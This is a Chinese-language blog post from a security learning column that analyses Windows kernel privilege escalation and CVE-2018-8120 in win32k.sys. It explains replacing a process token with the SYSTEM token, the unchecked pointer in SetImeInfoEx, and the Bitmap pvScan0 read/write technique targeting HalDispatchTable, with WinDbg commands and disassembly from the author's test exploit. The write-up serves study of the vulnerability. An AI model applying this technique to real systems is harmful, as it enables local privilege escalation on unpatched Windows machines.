Windows提权以及逆向

网e渗透安全部

发布于 2019-12-09 12:41:39

6920

发布于 2019-12-09 12:41:39

文章被收录于专栏：白安全组白安全组

一个小白对于Windows提权以及逆向的学习，文章中说的思路可能有不对的，希望不要介意!!!

01 Windows内核提权思路

内核提权最终都是通过读写来做一些事情所有内核提权都是获取一个system值从而获得最高权限。

001 提权一

替换当前进程EPROCESS结构的token为system的token

002 提权二

替换当前进程EPROCESS结构体token所指向的数据

003 提权

3环直接写shellcode是不行的因为当前进程eprocess位于内核空间，要进行读写代码必须在0环中，如果在3环进行读写会出现保护异常。用户层可以通过调用系统服务来访问内核层代码。

02 成因

win32k.sys组件中创建窗口站对象(CreateWindowStationW)时候，SetImeInfoEx函数没有对指针进行安全验证; 对应指针指向零页内存，然后在它下一次使用之前有代码对该区域进行修改触发蓝屏.

03 利用

需要提权申请一块堆大小并且构造这块内存中的数据释放后指向shellcode位置，当提权完成后再恢复这块数据。

04 逆向

以2018-8120为例子进行傻瓜式分析开始啦，前提需要进入当前进程所对应的内核空间

1: kd> !process 0 0 test.exe1: kd> .process /i 87b06c08 1: kd> g0: kd> .reload /f /user0: kd> .process

窗口站

窗口站是和当前进程和会话(session)相关联的一个内核对象，它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象。用户调用CreateWindowStation创建新的窗口站时，最终会调用内核函数xxxCreateWindowStation执行窗口站的创建，但是在该函数执行期间，被创建的新窗口站实例的spklList指针并没有被初始化，指向的是空地址

1、HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); hSta 句柄=58，对应在内核中窗口站地址是87a85d48

001b:01246909 8bf4            mov     esi,esp  //001b:0124690b 6a00            push    0        //0001b:0124690d 6800000200      push    20000h   //READ_CONTROL001b:01246912 6a00            push    0   //0001b:01246914 6a00            push    0   //0001b:01246916 ff1588522c01    call    dword ptr [test!_imp__CreateWindowStationW (012c5288)]

2、CreateBitmap getpvscsn0 下断点得到下边四个值 CreateBitmap创建的句柄是 gManger=1205067e

001b:012469be 8bf4            mov     esi,esp001b:012469c0 8d85d0fcffff    lea     eax,[ebp-330h]  //002cf450 00000090001b:012469c6 50              push    eax  //eax=002cf450=buff001b:012469c7 6a20            push    20h  001b:012469c9 6a01            push    1001b:012469cb 6a01            push    1001b:012469cd 6a60            push    60h001b:012469cf ff1504502c01    call    dword ptr [test!_imp__CreateBitmap (012c5004)]

同理所得：gWorker=180504e7 mpv=fe667038,wpv=fdab8368

//堆栈变化002c30e4 00000060002c30e8 00000001002c30ec 00000001002c30f0 00000020

3、自己申请一块空间的地址构造tagkl(目标键盘布局)对象的结构体指针piiex指向的输入法信息对象的缓冲区。

001b:01246a66 c78594fcffff00000000 mov dword ptr [ebp-36Ch],0    //002cf414 00000000 ==>P_tagKL pkl =0001b:01246a70 8b8594fcffff    mov     eax,dword ptr [ebp-36Ch]     //eax=00000000==>pkl->hkl001b:01246a76 8b8da0fcffff    mov     ecx,dword ptr [ebp-360h]  //ecx=fdab8368=wpv001b:01246a7c 894814          mov     dword ptr [eax+14h],ecx   //[eax+14]==>[0+14]==>pkl->hkl = (HKL__ *)wpv;001b:01246a7f 8b85acfcffff    mov     eax,dword ptr [ebp-354h]001b:01246a85 83e804          sub     eax,4   //eax-4=eax=fe667034001b:01246a88 8b8d94fcffff    mov     ecx,dword ptr [ebp-36Ch]    //002cf414 00000000 ==>ecx=00000000==>pkl001b:01246a8e 89412c          mov     dword ptr [ecx+2Ch],eax   //eax=fe667034==>0000002c fe667034001b:01246a91 685c010000      push    15Ch001b:01246a96 8d8530fbffff    lea     eax,[ebp-4D0h]001b:01246a9c 50              push    eax001b:01246a9d e816c7ffff      call    test!ILT+435(_RtlSecureZeroMemory) (012431b8)

自己申请内存地址初始化002cf2b0 =0xccc

当触发漏洞时候：002cf2b0变成自己构造的数值了具体汇编这里不做过多的介绍了

下图书触发漏洞以及在申请的内存里面构造了自己需要的数据

验证自己找的gManger gWork等值是否正确

001 SetBitmap

01 Bitmap分析

思路：SetBitmapBits --> NtGdiSetBitmapBits --> GreSetBitmapBits --> bDoGetSetBitmapBits--> memcpy (1)setbitmap代码分析 SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);

001b:01246be5 8bf4            mov     esi,esp001b:01246be7 8d850cfbffff    lea     eax,[ebp-4F4h]                &oaddr001b:01246bed 50              push    eax                           //eax=002cf28c001b:01246bee 6a04            push    4                            // 00000004 ==》sizeof001b:01246bf0 8b8dc4fcffff    mov     ecx,dword ptr [ebp-33Ch]     //1205067e==》gManger001b:01246bf6 51              push    ecx                          //push  1205067e001b:01246bf7 ff1508502c01    call    dword ptr [test!_imp__SetBitmapBits (012c5008)]

NtGdiSetBitmapBits(int a1, SIZE_T Size, PVOID Address) 2、bp win32k!NtGdiSetBitmapBits下断点进行分析 v6 = GreSetBitmapBits(a1, Size, Address, &v4);进行分析

win32k!NtGdiSetBitmapBits+0x67:940d3b0b 8d45dc          lea     eax,[ebp-24h]          8c16abe8 8c16abfc940d3b0e 50              push    eax                   //push 8c16abfc==>&v4 ==>8c16abfc 00000000 ==>0940d3b0f ff7510          push    dword ptr [ebp+10h]    //002cf28c  ==> Address ==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4940d3b12 ff750c          push    dword ptr [ebp+0Ch]    //push 00000004 ==>sizeof940d3b15 ff7508          push    dword ptr [ebp+8]     //push 1205067e ==>gManger==>a1940d3b18 e8dbcf0800      call    win32k!GreSetBitmapBits (94160af8)

3、bp win32k!bDoGetSetBitmapBits下断点进行分析 v9是算出来的计算公式如下

代码如下

win32k!GreSetBitmapBits+0x169:94160c61 53              push    ebx94160c62 8d4d80          lea     ecx,[ebp-80h]          8c16ab44 0000000094160c65 51              push    ecx                     //8c16ab40 8c16ab54 ==>ecx=8c16ab54==>(struct _SURFOBJ *)&v12   ==> _SURFOBJ *a294160c66 50              push    eax                    //8c16ab3c fe667018 ==>eax = fe667018 ==》v9=fdf6bd38 +20= FDF6BD58 =wpv ==> _SURFOBJ *a1/* */94160c67 e8a5000000      call    win32k!bDoGetSetBitmapBits (94160d11)

v9计算过程gManager句柄的后3位，wpv+20位置

(1)由于漏洞中的memcpy大小不可控，所以回覆盖一部分的SURFOBJ成员，所以我们需要修复某些在Set/GetBitMapBits时所必须的成员利用Bitmap内核对象中的pvScan0字段+10的位置系统API的GetBitmapBits和SetBitmapBits可以读写pvScan0所指向内存地址的内容 (2)因此这个v9计算公式俩种 4、拷贝

win32k!bDoGetSetBitmapBits+0x30a:9416101b c745fc05000000  mov     dword ptr [ebp-4],5   8c16ab30 0000000594161022 53              push    ebx                   ebx=0000000494161023 ff750c          push    dword ptr [ebp+0Ch]   8c16ab40 002cf28c ==>002cf28c==>002cf28c 83f6e3fc nt!HalDispatchTable+0x494161026 ff7508          push    dword ptr [ebp+8]     8c16ab3c fdab8368 ==》fdab8368==》wpv win32k!bDoGetSetBitmapBits+0x318:94161029 e87208ffff      call    win32k!memcpy (941518a0)     fdab8368 ==>wpv